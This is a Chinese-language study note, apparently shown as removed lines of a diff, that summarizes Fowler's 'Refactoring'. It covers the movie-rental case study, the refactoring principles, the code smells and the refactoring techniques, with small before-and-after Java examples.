-* [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
 
-# 一、第一个案例
-
-如果你发现自己需要为程序添加一个特性，而代码结构使你无法很方便地达成目的，那就先重构这个程序。
-
-在重构前，需要先构建好可靠的测试环境，确保安全地重构。
-
-重构需要以微小的步伐修改程序，如果重构过程发生错误，很容易就能发现错误。
-
-**案例分析** 
-
-影片出租店应用程序，需要计算每位顾客的消费金额。
-
-包括三个类：Movie、Rental 和 Customer。
-
-<div align="center"> <img src="../pics//c2f0c8e2-da66-498c-a38f-e1176abee29e.png"/> </div><br>
-
-最开始的实现是把所有的计费代码都放在 Customer 类中。可以发现，该代码没有使用 Customer 类中的任何信息，更多的是使用 Rental 类的信息，因此第一个可以重构的点就是把具体计费的代码移到 Rental 类中，然后 Customer 类的 getTotalCharge() 方法只需要调用 Rental 类中的计费方法即可。
-
-```java
-class Customer {
-
-    private List<Rental> rentals = new ArrayList<>();
-
-    void addRental(Rental rental) {
-        rentals.add(rental);
-    }
-
-    double getTotalCharge() {
-        double totalCharge = 0.0;
-        for (Rental rental : rentals) {
-            switch (rental.getMovie().getMovieType()) {
-                case Movie.Type1:
-                    totalCharge += rental.getDaysRented();
-                    break;
-                case Movie.Type2:
-                    totalCharge += rental.getDaysRented() * 2;
-                    break;
-                case Movie.Type3:
-                    totalCharge += rental.getDaysRented() * 3;
-                    break;
-            }
-        }
-        return totalCharge;
-    }
-}
-```
-
-```java
-class Rental {
-    private int daysRented;
-
-    private Movie movie;
-
-    Rental(int daysRented, Movie movie) {
-        this.daysRented = daysRented;
-        this.movie = movie;
-    }
-
-    Movie getMovie() {
-        return movie;
-    }
-
-    int getDaysRented() {
-        return daysRented;
-    }
-}
-```
-
-```java
-class Movie {
-
-    static final int Type1 = 0, Type2 = 1, Type3 = 2;
-
-    private int type;
-
-    Movie(int type) {
-        this.type = type;
-    }
-
-    int getMovieType() {
-        return type;
-    }
-}
-```
-
-```java
-public class App {
-    public static void main(String[] args) {
-        Customer customer = new Customer();
-        Rental rental1 = new Rental(1, new Movie(Movie.Type1));
-        Rental rental2 = new Rental(2, new Movie(Movie.Type2));
-        customer.addRental(rental1);
-        customer.addRental(rental2);
-        System.out.println(customer.getTotalCharge());
-    }
-}
-```
-
-```html
-5
-```
-
-使用 switch 的准则是：只使用 switch 所在类的数据。解释如下：switch 使用的数据通常是一组相关的数据，例如 getTotalCharge() 代码使用了 Movie 的多种类别数据。当这组类别的数据发生改变时，例如增加 Movie 的类别或者修改一种 Movie 类别的计费方法，就需要修改 switch 代码。如果违反了准则，就会有多个地方的 switch 使用了这部分的数据，那么这些 swtich 都需要进行修改，这些代码可能遍布在各个地方，修改工作往往会很难进行。上面的实现违反了这一准则，因此需要重构。
-
-以下是继承 Movie 的多态解决方案，这种方案可以解决上述的 switch 问题，因为每种电影类别的计费方式都被放到了对应 Movie 子类中，当变化发生时，只需要去修改对应子类中的代码即可。
-
-<div align="center"> <img src="../pics//41026c79-dfc1-40f7-85ae-062910fd272b.png"/> </div><br>
-
-有一条设计原则指示应该多用组合少用继承，这是因为组合比继承具有更高的灵活性。例如上面的继承方案，一部电影要改变它的计费方式，就要改变它所属的类，但是对象所属的类在编译时期就确定了，无法在运行过程中改变。（运行时多态可以在运行过程中改变一个父类引用指向的子类对象，但是无法改变一个对象所属的类。）
-
-策略模式就是使用组合替代继承的一种解决方案。引入 Price 类，它有多种实现。Movie 组合了一个 Price 对象，并且在运行时可以改变组合的 Price 对象，从而使得它的计费方式发生改变。
-
-<div align="center"> <img src="../pics//8c0b3ae1-1087-46f4-8637-8d46b4ae659c.png"/> </div><br>
-
-重构后整体的类图和时序图如下：
-
-<div align="center"> <img src="../pics//5b910141-08b6-442d-a4bc-a1608458c636.png"/> </div><br>
-
-<div align="center"> <img src="../pics//3ca58a41-8794-49c1-992e-de5d579a50d1.png"/> </div><br>
-
-重构后的代码：
-
-```java
-class Customer {
-    private List<Rental> rentals = new ArrayList<>();
-
-    void addRental(Rental rental) {
-        rentals.add(rental);
-    }
-
-    double getTotalCharge() {
-        double totalCharge = 0.0;
-        for (Rental rental : rentals) {
-            totalCharge += rental.getCharge();
-        }
-        return totalCharge;
-    }
-}
-```
-
-```java
-class Rental {
-    private int daysRented;
-
-    private Movie movie;
-
-    Rental(int daysRented, Movie movie) {
-        this.daysRented = daysRented;
-        this.movie = movie;
-    }
-
-    double getCharge() {
-        return daysRented * movie.getCharge();
-    }
-}
-```
-
-```java
-interface Price {
-    double getCharge();
-}
-```
-
-```java
-class Price1 implements Price {
-    @Override
-    public double getCharge() {
-        return 1;
-    }
-}
-```
-
-```java
-class Price2 implements Price {
-    @Override
-    public double getCharge() {
-        return 2;
-    }
-}
-```
-
-```java
-package imp2;
-
-class Price3 implements Price {
-    @Override
-    public double getCharge() {
-        return 3;
-    }
-}
-```
-
-```java
-class Movie {
-
-    private Price price;
-
-    Movie(Price price) {
-        this.price = price;
-    }
-
-    double getCharge() {
-        return price.getCharge();
-    }
-}
-```
-
-```java
-class App {
-
-    public static void main(String[] args) {
-        Customer customer = new Customer();
-        Rental rental1 = new Rental(1, new Movie(new Price1()));
-        Rental rental2 = new Rental(2, new Movie(new Price2()));
-        customer.addRental(rental1);
-        customer.addRental(rental2);
-        System.out.println(customer.getTotalCharge());
-    }
-}
-```
-
-# 二、重构原则
-
-## 定义
-
-重构是对软件内部结构的一种调整，目的是在不改变软件可观察行为的前提下，提高其可理解性，降低其修改成本。
-
-## 为何重构
-
-- 改进软件设计
-- 使软件更容易理解
-- 帮助找到 Bug
-- 提高编程速度
-
-## 三次法则
-
-第一次做某件事时只管去做；第二次做类似事情时可以去做；第三次再做类似的事，就应该重构。
-
-## 间接层与重构
-
-计算机科学中的很多问题可以通过增加一个间接层来解决，间接层具有以下价值：
-
-- 允许逻辑共享
-- 分开解释意图和实现
-- 隔离变化
-- 封装条件逻辑
-
-重构可以理解为在适当的位置插入间接层以及在不需要时移除间接层。
-
-## 修改接口
-
-如果重构手法改变了已发布的接口，就必须维护新旧两个接口。可以保留旧接口，让旧接口去调用新接口，并且使用 Java 提供的 @deprecation 将旧接口标记为弃用。
-
-可见修改接口特别麻烦，因此除非真有必要，否则不要发布接口，并且不要过早发布接口。
-
-## 何时不该重构
-
-当现有代码过于混乱时，应当重写而不是重构。
-
-一个折中的办法是，将代码封装成一个个组件，然后对各个组件做重写或者重构的决定。
-
-## 重构与设计
-
-软件开发无法预先设计，因为开发过程有很多变化发生，在最开始不可能都把所有情况考虑进去。
-
-重构可以简化设计，重构在一个简单的设计上进行修修改改，当变化发生时，以一种灵活的方式去应对变化，进而带来更好的设计。
-
-## 重构与性能
-
-为了软代码更容易理解，重构可能会导致性能减低。
-
-在编写代码时，不用对性能过多关注，只有在最后性能优化阶段再考虑性能问题。
-
-应当只关注关键代码的性能，并且只有一小部分的代码是关键代码。
-
-# 三、代码的坏味道
-
-本章主要介绍一些不好的代码，也就是说这些代码应该被重构。
-
-## 1. 重复代码
-
-> Duplicated Code
-
-同一个类的两个函数有相同表达式，则用 Extract Method 提取出重复代码；
-
-两个互为兄弟的子类含有相同的表达式，先使用 Extract Method，然后把提取出来的函数 Pull Up Method 推入超类。
-
-如果只是部分相同，用 Extract Method 分离出相似部分和差异部分，然后使用 Form Template Method 这种模板方法设计模式。
-
-如果两个毫不相关的类出现重复代码，则使用 Extract Class 方法将重复代码提取到一个独立类中。
-
-## 2. 过长函数
-
-> Long Method
-
-函数应该尽可能小，因为小函数具有解释能力、共享能力、选择能力。
-
-分解长函数的原则：当需要用注释来说明一段代码时，就需要把这部分代码写入一个独立的函数中。
-
-Extract Method 会把很多参数和临时变量都当做参数，可以用 Replace Temp with Query 消除临时变量，Introduce Parameter Object 和 Preserve Whole Object 可以将过长的参数列变得更简洁。
-
-条件和循环语句往往也需要提取到新的函数中。
-
-## 3. 过大的类
-
-> Large Class
-
-应该尽可能让一个类只做一件事，而过大的类做了过多事情，需要使用 Extract Class 或 Extract Subclass。
-
-先确定客户端如何使用该类，然后运用 Extract Interface 为每一种使用方式提取出一个接口。
-
-## 4. 过长的参数列表
-
-> Long Parameter List
-
-太长的参数列表往往会造成前后不一致，不易使用。
-
-面向对象程序中，函数所需要的数据通常能在宿主类中找到。
-
-## 5. 发散式变化
-
-> Divergent Change
-
-设计原则：一个类应该只有一个引起改变的原因。也就是说，针对某一外界变化所有相应的修改，都只应该发生在单一类中。
-
-针对某种原因的变化，使用 Extract Class 将它提炼到一个类中。
-
-## 6. 散弹式修改
-
-> Shotgun Surgery
-
-一个变化引起多个类修改。
-
-使用 Move Method 和 Move Field 把所有需要修改的代码放到同一个类中。
-
-## 7. 依恋情结
-
-> Feature Envy
-
-一个函数对某个类的兴趣高于对自己所处类的兴趣，通常是过多访问其它类的数据，
-
-使用 Move Method 将它移到该去的地方，如果对多个类都有 Feature Envy，先用 Extract Method 提取出多个函数。
-
-## 8. 数据泥团
-
-> Data Clumps
-
-有些数据经常一起出现，比如两个类具有相同的字段、许多函数有相同的参数，这些绑定在一起出现的数据应该拥有属于它们自己的对象。
-
-使用 Extract Class 将它们放在一起。
-
-## 9. 基本类型偏执
-
-> Primitive Obsession
-
-使用类往往比使用基本类型更好，使用 Replace Data Value with Object 将数据值替换为对象。
-
-## 10. switch 惊悚现身
-
-> Switch Statements
-
-具体参见第一章的案例。
-
-## 11. 平行继承体系
-
-> Parallel Inheritance Hierarchies
-
-每当为某个类增加一个子类，必须也为另一个类相应增加一个子类。
-
-这种结果会带来一些重复性，消除重复性的一般策略：让一个继承体系的实例引用另一个继承体系的实例。
-
-## 12. 冗余类
-
-> Lazy Class
-
-如果一个类没有做足够多的工作，就应该消失。
-
-## 13. 夸夸其谈未来性
-
-> Speculative Generality
-
-有些内容是用来处理未来可能发生的变化，但是往往会造成系统难以理解和维护，并且预测未来可能发生的改变很可能和最开始的设想相反。因此，如果不是必要，就不要这么做。
-
-## 14. 令人迷惑的暂时字段
-
-> Temporary Field
-
-某个字段仅为某种特定情况而设，这样的代码不易理解，因为通常认为对象在所有时候都需要它的所有字段。
-
-把这种字段和特定情况的处理操作使用 Extract Class 提炼到一个独立类中。
-
-## 15. 过度耦合的消息链
-
-> Message Chains
-
-一个对象请求另一个对象，然后再向后者请求另一个对象，然后...，这就是消息链。采用这种方式，意味着客户代码将与对象间的关系紧密耦合。
-
-改用函数链，用函数委托另一个对象来处理。
-
-## 16. 中间人
-
->  Middle Man
-
-中间人负责处理委托给它的操作，如果一个类中有过多的函数都委托给其它类，那就是过度运用委托，应当 Remove Middle Man，直接与负责的对象打交道。
-
-## 17. 狎昵关系
-
-> Inappropriate Intimacy
-
-两个类多于亲密，花费太多时间去探讨彼此的 private 成分。
-
-## 18. 异曲同工的类
-
-> Alernative Classes with Different Interfaces
-
-两个函数做同一件事，却有着不同的签名。
-
-使用 Rename Method 根据它们的用途重新命名。
-
-## 19. 不完美的类库
-
-> Incomplete Library Class
-
-类库的设计者不可能设计出完美的类库，当我们需要对类库进行一些修改时，可以使用以下两种方法：如果只是修改一两个函数，使用 Introduce Foreign Method；如果要添加一大堆额外行为，使用 Introduce Local Extension。
-
-## 20. 幼稚的数据类
-
-> Data Class
-
-它只拥有一些数据字段，以及用于访问这些字段的函数，除此之外一无长物。
-
-找出字段使用的地方，然后把相应的操作移到 Data Class 中。
-
-## 21. 被拒绝的馈赠
-
-> Refused Bequest
-
-子类不想继承超类的所有函数和数据。
-
-为子类新建一个兄弟类，不需要的函数或数据使用 Push Down Method 和 Push Down Field 下推给那个兄弟。
-
-## 22. 过多的注释
-
-> Comments
-
-使用 Extract Method 提炼出需要注释的部分，然后用函数名来解释函数的行为。
-
-# 四、构筑测试体系
-
-Java 可以使用 Junit 进行单元测试。
-
-测试应该能够完全自动化，并能检查测试的结果。
-
-小步修改，频繁测试。
-
-单元测试的对象是类的方法，而功能测是以客户的角度保证软件正常运行。
-
-应当集中测试可能出错的边界条件。
-
-# 五、重新组织函数
-
-## 1. 提炼函数
-
-> Extract Method
-
-将这段代码放进一个独立函数中，并让函数名称解释该函数的用途。
-
-## 2. 内联函数
-
-> Inline Method
-
-一个函数的本体与名称同样清楚易懂。
-
-在函数调用点插入函数本体，然后移除该函数。
-
-## 3. 内联临时变量
-
-> Inline Temp
-
-一个临时变量，只被简单表达式赋值一次，而它妨碍了其它重构手法。
-
-将所有对该变量的引用替换为对它赋值的那个表达式自身。
-
-```java
-double basePrice = anOrder.basePrice();
-return basePrice > 1000;
-```
-
-```java
-return anOrder.basePrice() > 1000;
-```
-
-## 4. 以查询取代临时变量
-
-> Replace Temp with Query
-
-以临时变量保存某一表达式的运算结果，将这个表达式提炼到一个独立函数中，将所有对临时变量的引用点替换为对新函数的调用。
-
-Replace Temp with Query 往往是 Extract Method 之前必不可少的一个步骤，因为局部变量会使代码难以提炼。
-
-```java
-double basePrice = quantity * itemPrice;
-if (basePrice > 1000)
-    return basePrice * 0.95;
-else
-    return basePrice * 0.98;
-```
-
-```java
-if (basePrice() > 1000)
-    return basePrice() * 0.95;
-else
-    return basePrice() * 0.98;
-
-// ...
-double basePrice(){
-    return quantity * itemPrice;
-}
-```
-
-## 5. 引起解释变量
-
-> Introduce Explaining Variable
-
-将复杂表达式（或其中一部分）的结果放进一个临时变量， 以此变量名称来解释表达式用途。
-
-```java
-if ((platform.toUpperCase().indexOf("MAC") > -1) &&
-  (browser.toUpperCase().indexOf("IE") > -1) &&
-  wasInitialized() && resize > 0) {
-    // do something
-}
-```
-
-```java
-final boolean isMacOS = platform.toUpperCase().indexOf("MAC") > -1;
-final boolean isIEBrower = browser.toUpperCase().indexOf("IE") > -1;
-final boolean wasResized = resize > 0;
-
-if (isMacOS && isIEBrower && wasInitialized() && wasResized) {
-    // do something
-}
-```
-
-## 6. 分解临时变量
-
-> Split Temporary Variable
-
-某个临时变量被赋值超过一次，它既不是循环变量，也不是用于收集计算结果。
-
-针对每次赋值，创造一个独立、对应的临时变量，每个临时变量只承担一个责任。
-
-## 7. 移除对参数的赋值
-
->  Remove Assigments to Parameters
-
-以一个临时变量取代对该参数的赋值。
-
-```java
-int discount (int inputVal, int quentity, int yearToDate) {
-    if (inputVal > 50) inputVal -= 2;
-    ...
-}
-```
-
-```java
-int discount (int inputVal, int quentity, int yearToDate) {
-    int result = inputVal;
-    if (inputVal > 50) result -= 2;
-    ...
-}
-```
-
-## 8. 以函数对象取代函数
-
-> Replace Method with Method Object
-
-当对一个大型函数采用 Extract Method 时，由于包含了局部变量使得很难进行该操作。
-
-将这个函数放进一个单独对象中，如此一来局部变量就成了对象内的字段。然后可以在同一个对象中将这个大型函数分解为多个小型函数。
-
-## 9. 替换算法
-
-> Subsititute Algorithn
-
-# 六、在对象之间搬移特性
-
-## 1. 搬移函数
-
-> Move Method
-
-类中的某个函数与另一个类进行更多交流：调用后者或者被后者调用。
-
-将这个函数搬移到另一个类中。
-
-## 2. 搬移字段
-
-> Move Field
-
-类中的某个字段被另一个类更多地用到，这里的用到是指调用取值设值函数，应当把该字段移到另一个类中。
-
-## 3. 提炼类
-
-> Extract Class
-
-某个类做了应当由两个类做的事。
-
-应当建立一个新类，将相关的字段和函数从旧类搬移到新类。
-
-## 4. 将类内联化
-
-> Inline Class
-
-与 Extract Class 相反。
-
-## 5. 隐藏委托关系
-
-> Hide Delegate
-
-建立所需的函数，隐藏委托关系。
-
-```java
-class Person {
-    Department department;
-
-    public Department getDepartment() {
-        return department;
-    }
-}
-
-class Department {
-    private Person manager;
-
-    public Person getManager() {
-        return manager;
-    }
-}
-```
-
-如果客户希望知道某人的经理是谁，必须获得 Department 对象，这样就对客户揭露了 Department 的工作原理。
-
-```java
-Person manager = john.getDepartment().getManager();
-```
-
-通过为 Peron 建立一个函数来隐藏这种委托关系。
-
-```java
-public Person getManager() {
-    return department.getManager();
-}
-```
-
-## 6. 移除中间人
-
-> Remove Middle Man
-
-与 Hide Delegate 相反，本方法需要移除委托函数，让客户直接调用委托类。
-
-Hide Delegate 有很大好处，但是它的代价是：每当客户要使用受托类的新特性时，就必须在服务器端添加一个简单的委托函数。随着受委托的特性越来越多，服务器类完全变成了一个“中间人”。
-
-## 7. 引入外加函数
-
-> Introduce Foreign Method
-
-需要为提供服务的类添加一个函数，但是无法修改这个类。
-
-可以在客户类中建立一个函数，并以第一参数形式传入一个服务类的实例，让客户类组合服务器实例。
-
-## 8. 引入本地扩展
-
-> Introduce Local Extension
-
-和 Introduce Foreign Method 目的一样，但是 Introduce Local Extension 通过建立新的类来实现。有两种方式：子类或者包装类，子类就是通过继承实现，包装类就是通过组合实现。
-
-# 七、重新组织数据
-
-## 1. 自封装字段
-
-> Self Encapsulate Field
-
-为字段建立取值/设值函数，并用这些函数来访问字段。只有当子类想访问超类的一个字段，又想在子类中将对这个字段访问改为一个计算后的值，才使用这种方式，否则直接访问字段的方式简洁明了。
-
-## 2. 以对象取代数据值
-
-> Replace Data Value with Object
-
-在开发初期，往往会用简单的数据项表示简单的情况，但是随着开发的进行，一些简单数据项会具有一些特殊行为。比如一开始会把电话号码存成字符串，但是随后发现电话号码需要“格式化”、“抽取区号”之类的特殊行为。
-
-## 3. 将值对象改成引用对象
-
-> Change Value to Reference
-
-将彼此相等的实例替换为同一个对象。这就要用一个工厂来创建这种唯一对象，工厂类中需要保留一份已经创建对象的列表，当要创建一个对象时，先查找这份列表中是否已经存在该对象，如果存在，则返回列表中的这个对象；否则，新建一个对象，添加到列表中，并返回该对象。
-
-## 4. 将引用对象改为值对象
-
-> Change Reference to value
-
-以 Change Value to Reference 相反。值对象有个非常重要的特性：它是不可变的，不可变表示如果要改变这个对象，必须用一个新的对象来替换旧对象，而不是修改旧对象。
-
-需要为值对象实现 equals() 和 hashCode() 方法。
-
-## 5. 以对象取代数组
-
-> Replace Array with Object
-
-有一个数组，其中的元素各自代表不同的东西。
-
-以对象替换数组，对于数组中的每个元素，以一个字段来表示，这样方便操作，也更容易理解。
-
-## 6. 赋值被监视数据
-
-> Duplicate Observed Data
-
-一些领域数据置身于 GUI 控件中，而领域函数需要访问这些数据。
-
-将该数据赋值到一个领域对象中，建立一个 Oberver 模式，用于同步领域对象和 GUI 对象内的重复数据。
-
-<div align="center"> <img src="../pics//e024bd7e-fb4e-4239-9451-9a6227f50b00.jpg" width=""/> </div><br>
-
-## 7. 将单向关联改为双向关联
-
-> Change Unidirectional Association to Bidirectional
-
-当两个类都需要对方的特性时，可以使用双向关联。
-
-有两个类，分别为订单 Order 和客户 Customer，Order 引用了 Customer，Customer 也需要引用 Order 来查看其所有订单详情。
-
-```java
-class Order {
-    private Customer customer;
-    public void setCustomer(Customer customer) {
-        if (this.customer != null)
-            this.customer.removeOrder(this);
-        this.customer = customer;
-        this.customer.add(this);
-    }
-}
-```
-```java
-class Curstomer {
-    private Set<Order> orders = new HashSet<>();
-    public void removeOrder(Order order) {
-        orders.remove(order);
-    }
-    public void addOrder(Order order) {
-        orders.add(order);
-    }
-}
-```
-
-注意到，这里让 Curstomer 类来控制关联关系。有以下原则来决定哪个类来控制关联关系：如果某个对象是组成另一个对象的部件，那么由后者负责控制关联关系；如果是一对多关系，则由单一引用那一方来控制关联关系。
-
-## 8. 将双向关联改为单向关联
-
-> Change Bidirectional Association to Unidirectional
-
-和 Change Unidirectional Association to Bidirectiona 为反操作。
-
-双向关联维护成本高，并且也不易于理解。大量的双向连接很容易造成“僵尸对象”：某个对象本身已经死亡了，却保留在系统中，因为它的引用还没有全部完全清除。
-
-## 9. 以字面常量取代魔法数
-
-> Replace Magic Number with Symbolic Constant
-
-创建一个常量，根据其意义为它命名，并将字面常量换为这个常量。
-
-## 10. 封装字段
-
-> Encapsulate Field
-
-public 字段应当改为 private，并提供相应的访问函数。
-
-## 11. 封装集合
-
-> Encapsulate Collection
-
-函数返回集合的一个只读副本，并在这个类中提供添加/移除集合元素的函数。如果函数返回集合自身，会让用户得以修改集合内容而集合拥有者却一无所知。
-
-## 12. 以数据类取代记录
-
-> Replace Record with Data Class
-
-## 13. 以类取代类型码
-
-> Replace Type Code with Class
-
-类中有一个数值类型码，但它并不影响类的行为，就用一个新类替换该数值类型码。如果类型码出现在 switch 语句中，需要使用 Replace Conditional with Polymorphism 去掉 switch，首先必须运用 Replace Type Code with Subcalss 或 Replace Type Code with State/Strategy 去掉类型码。
-
-<div align="center"> <img src="../pics//27c2e0b3-8f95-453d-bedc-6398a8566ce9.jpg" width="500"/> </div><br>
-
-## 14. 以子类取代类型码
-
-> Replace Type Code with Subcalsses
-
-有一个不可变的类型码，它会影响类的行为，以子类取代这个类型码。
-
-<div align="center"> <img src="../pics//c41d3977-e0e7-4ee4-93e1-d84f1ae3e20e.jpg" width="500"/> </div><br>
-
-## 15. 以 State/Strategy 取代类型码
-
-> Replace Type Code with State/Strategy
-
-有一个可变的类型码，它会影响类的行为，以状态对象取代类型码。
-
-和 Replace Type Code with Subcalsses 的区别是 Replace Type Code with State/Strategy 的类型码是动态可变的，前者通过继承的方式来实现，后者通过组合的方式来实现。因为类型码可变，如果通过继承的方式，一旦一个对象的类型码改变，那么就要改变用新的对象来取代旧对象，而客户端难以改变新的对象。但是通过组合的方式，改变引用的状态类是很容易的。
-
-<div align="center"> <img src="../pics//81fd1d6f-a3b2-4160-9a0a-1f7cb50ba440.jpg" width="800"/> </div><br>
-
-## 16. 以字段取代子类
-
-> Replace Subclass with Fields
-
-各个子类的唯一差别只在“返回常量数据”的函数上。
-
-<div align="center"> <img src="../pics//f2e0cee9-ecdc-4a96-853f-d9f6a1ad6ad1.jpg" width="600"/> </div><br>
-
-# 八、简化条件表达式
-
-## 1. 分解条件表达式
-
-> Decompose Conditional
-
-对于一个复杂的条件语句，可以从 if、then、else 三个段落中分别提炼出独立函数。
-
-```java
-if (data.befor(SUMMER_START) || data.after(SUMMER_END))
-    charge = quantity * winterRate + winterServiceCharge;
-else
-    charge = quantity * summerRate;
-```
-
-```java
-if (notSummer(date))
-    charge = winterCharge(quantity);
-else
-    charge = summerCharge(quantity);
-```
-
-## 2. 合并条件表达式
-
-> Consolidate Conditional Expression
-
-有一系列条件测试，都得到相同结果。
-
-将这些测试合并为一个条件表达式，并将这个条件表达式提炼成为一个独立函数。
-
-```java
-double disabilityAmount() {
-    if (seniority < 2) return 0;
-    if (monthsDisabled > 12 ) return 0;
-    if (isPartTime) return 0;
-    // ...
-}
-```
-```java
-double disabilityAmount() {
-    if (isNotEligibleForDisability()) return 0;
-    // ...
-}
-```
-
-## 3. 合并重复的条件片段
-
-> Consolidate Duplicate Conditional Fragments
-
-在条件表达式的每个分支上有着相同的一段代码。
-
-将这段重复代码搬移到条件表达式之外。
-
-```java
-if (isSpecialDeal()) {
-    total = price * 0.95;
-    send();
-} else {
-    total = price * 0.98;
-    send();
-}
-```
-
-```java
-if (isSpecialDeal()) {
-    total = price * 0.95;
-} else {
-    total = price * 0.98;
-}
-send();
-```
-
-## 4. 移除控制标记
-
-> Remove Control Flag
-
-在一系列布尔表达式中，某个变量带有“控制标记”的作用。
-
-用 break 语句或 return 语句来取代控制标记。
-
-## 5. 以卫语句取代嵌套条件表达式
-
-> Replace Nested Conditional with Guard Clauses
-
-如果某个条件极其罕见，就应该单独检查该条件，并在该条件为真时立刻从函数中返回，这样的单独检查常常被称为“卫语句”（guard clauses）。
-
-条件表达式通常有两种表现形式。第一种形式是：所有分支都属于正常行为。第二种形式则是：条件表达式提供的答案中只有一种是正常行为，其他都是不常见的情况，可以使用卫语句表现所有特殊情况。
-
-```java
-double getPayAmount() {
-    double result;
-    if (isDead) result = deadAmount();
-    else {
-        if (isSeparated) result = separatedAmount();
-        else {
-            if (isRetired) result = retiredAmount();
-            else result = normalPayAmount();
-        };
-    }
-    return result;
-};
-```
-
-```java
-double getPayAmount() {
-    if (isDead) return deadAmount();
-    if (isSeparated) return separatedAmount();
-    if (isRetired) return retiredAmount();
-    return normalPayAmount();
-};
-```
-
-## 6. 以多态取代条件表达式
-
-> Replace Conditional with Polymorphism
-
-将这个条件表达式的每个分支放进一个子类内的覆写函数中，然后将原始函数声明为抽象函数。需要先使用 Replace Type Code with Subclass 或 Replace Type Code with State/Strategy 来建立继承结果。
-
-```java
-double getSpeed() {
-    switch (type) {
-        case EUROPEAN:
-            return getBaseSpeed();
-        case AFRICAN:
-            return getBaseSpeed()- getLoadFactor()* numberOfCoconuts;
-        case NORWEGIAN_BLUE:
-            return isNailed ? 0 : getBaseSpeed(voltage);
-    }
-    throw new RuntimeException("Should be unreachable");
-}
-```
-
-<div align="center"> <img src="../pics//1c8432c8-2552-457f-b117-1da36c697221.jpg" width="500"/> </div><br>
-
-
-## 7. 引入 Null 对象
-
-> Introduce Null Object
-
-将 null 值替换为 null 对象。这样做的好处在于，不需要询问对象是否为空，直接调用就行。
-
-```java
-if (customer == null) plan = BillingPlan.basic();
-else plan = customer.getPlan();
-```
-
-## 8. 引入断言
-
-> Introduce Assertion
-
-以断言明确表现某种假设。断言只能用于开发过程中，产品代码中不会有断言。
-
-```java
-double getExpenseLimit() {
-    // should have either expense limit or a primary project
-    return (expenseLimit != NULL_EXPENSE) ? expenseLimit :  primaryProject.getMemberExpenseLimit();
-}
-```
-
-```java
-double getExpenseLimit() {
-    Assert.isTrue (expenseLimit != NULL_EXPENSE || primaryProject != null);
-    return (expenseLimit != NULL_EXPENSE) ? expenseLimit :  primaryProject.getMemberExpenseLimit();
-}
-```
-
-# 九、简化函数调用
-
-## 1. 函数改名
-
-> Rename Method
-
-使函数名能解释函数的用途。
-
-## 2. 添加参数
-
-> Add Parameter
-
-使函数不需要通过调用获得某个信息。
-
-## 3. 移除参数
-
-> Remove Parameter
-
-与 Add Parameter 相反，改用调用的方式来获得某个信息。
-
-## 4. 将查询函数和修改函数分离
-
-> Separate Query from Modifier
-
-某个函数即返回对象状态值，又修改对象状态。
-
-应当建立两个不同的函数，其中一个负责查询，另一个负责修改。任何有返回值的函数，都不应该有看得到的副作用。
-
-```java
-getTotalOutstandingAndSetReadyForSummaries();
-```
-
-```java
-getTotalOutstanding();
-setReadyForSummaries();
-```
-
-## 5. 令函数携带参数
-
-> Parameterize Method
-
-若干函数做了类似的工作，但在函数本体中却包含了不同的值。
-
-建立单一函数，以参数表达那些不同的值。
-
-```java
-fivePercentRaise();
-tenPercentRaise();
-```
-```java
-raise(percentage);
-```
-
-## 6. 以明确函数取代参数
-
-> Replace Parameter with Explicit Methods
-
-有一个函数，完全取决于参数值而采取不同行为。
-
-针对该参数的每一个可能值，建立一个独立函数。
-
-```java
-void setValue(String name, int value){
-    if (name.equals("height")){
-        height = value;
-        return;
-    }
-    if (name.equals("width")){
-        width = value;
-        return;
-    }
-    Assert.shouldNeverReachHere();
-}
-```
-
-```java
-void setHeight(int arg){
-    height = arg;
-}
-void setWidth(int arg){
-    width = arg;
-}
-```
-
-## 7. 保持对象完整
-
-> Preserve Whole Object
-
-从某个对象中取出若干值，将它们作为某一次函数调用时的参数。
-
-改为传递整个对象。
-
-```java
-int low = daysTempRange().getLow();
-int high = daysTempRange().getHigh();
-withinPlan = plan.withinRange(low, high);
-```
-
-```java
-withinPlan = plan.withinRange(daysTempRange());
-```
-
-## 8. 以函数取代参数
-
-> Replace Parameter with Methods
-
-对象调用某个函数，并将所得结果作为参数，传递给另一个函数。而接受该参数的函数本身也能够调用前一个函数。
-
-让参数接收者去除该项参数，而是直接调用前一个函数。
-
-```java
-int basePrice = _quantity * _itemPrice;
-discountLevel = getDiscountLevel();
-double finalPrice = discountedPrice (basePrice, discountLevel);
-```
-
-```java
-int basePrice = _quantity * _itemPrice;
-double finalPrice = discountedPrice (basePrice);
-```
-
-## 9. 引入参数对象
-
-> Introduce Parameter Object
-
-某些参数总是很自然地同时出现，这些参数就是 Data Clumps。
-
-以一个对象取代这些参数。
-
-<div align="center"> <img src="../pics//08738dd0-ae8e-404a-ba78-a6b1b7d225b3.jpg" width="600"/> </div><br>
-
-## 10. 移除设值函数
-
-> Remove Setting Method
-
-类中的某个字段应该在对象创建时被设值，然后就不再改变。
-
-去掉该字段的所有设值函数，并将该字段设为 final。
-
-## 11. 隐藏函数
-
-> Hide Method
-
-有一个函数，从来没有被其他任何类用到。
-
-将这个函数修改为 private。
-
-## 12. 以工厂函数取代构造函数
-
-> Replace Constructor with Factory Method
-
-希望在创建对象时不仅仅是做简单的建构动作。
-
-将构造函数替换为工厂函数。
-
-## 13. 封装向下转型
-
-> Encapsulate Downcast
-
-某个函数返回的对象，需要由函数调用者执行向下转型（downcast）。
-
-将向下转型动作移到函数中。
-
-```java
-Object lastReading() {
-    return readings.lastElement();
-}
-```
-```java
-Reading lastReading() {
-    return (Reading)readings.lastElement();
-}
-```
-
-## 14. 以异常取代错误码
-
-> Replace Error Code with Exception
-
-某个函数返回一个特定的代码，用以表示某种错误情况。
-
-改用异常，异常将普通程序和错误处理分开，使代码更容易理解。
-
-## 15. 以测试取代异常
-
-> Replace Exception with Test
-
-面对一个调用者可以预先检查的条件，你抛出了一个异常。
-
-修改调用者，使它在调用函数之前先做检查。
-
-```java
-double getValueForPeriod(int periodNumber) {
-    try {
-        return values[periodNumber];
-    } catch (ArrayIndexOutOfBoundsException e) {
-        return 0;
-    }
-}
-```
-```java
-double getValueForPeriod(int periodNumber) {
-    if (periodNumber >= values.length) return 0;
-    return values[periodNumber];
-```
-
-# 十、处理概括关系
-
-## 1. 字段上移
-
-> Pull Up Field
-
-两个子类拥有相同的字段。
-
-将该字段移至超类。
-
-## 2. 函数上移
-
-> Pull Up Method
-
-有些函数，在各个子类中产生完全相同的结果。
-
-将该函数移至超类。
-
-## 3. 构造函数本体上移
-
-> Pull Up Constructor Body
-
-你在各个子类中拥有一些构造函数，它们的本体几乎完全一致。
-
-在超类中新建一个构造函数，并在子类构造函数中调用它。
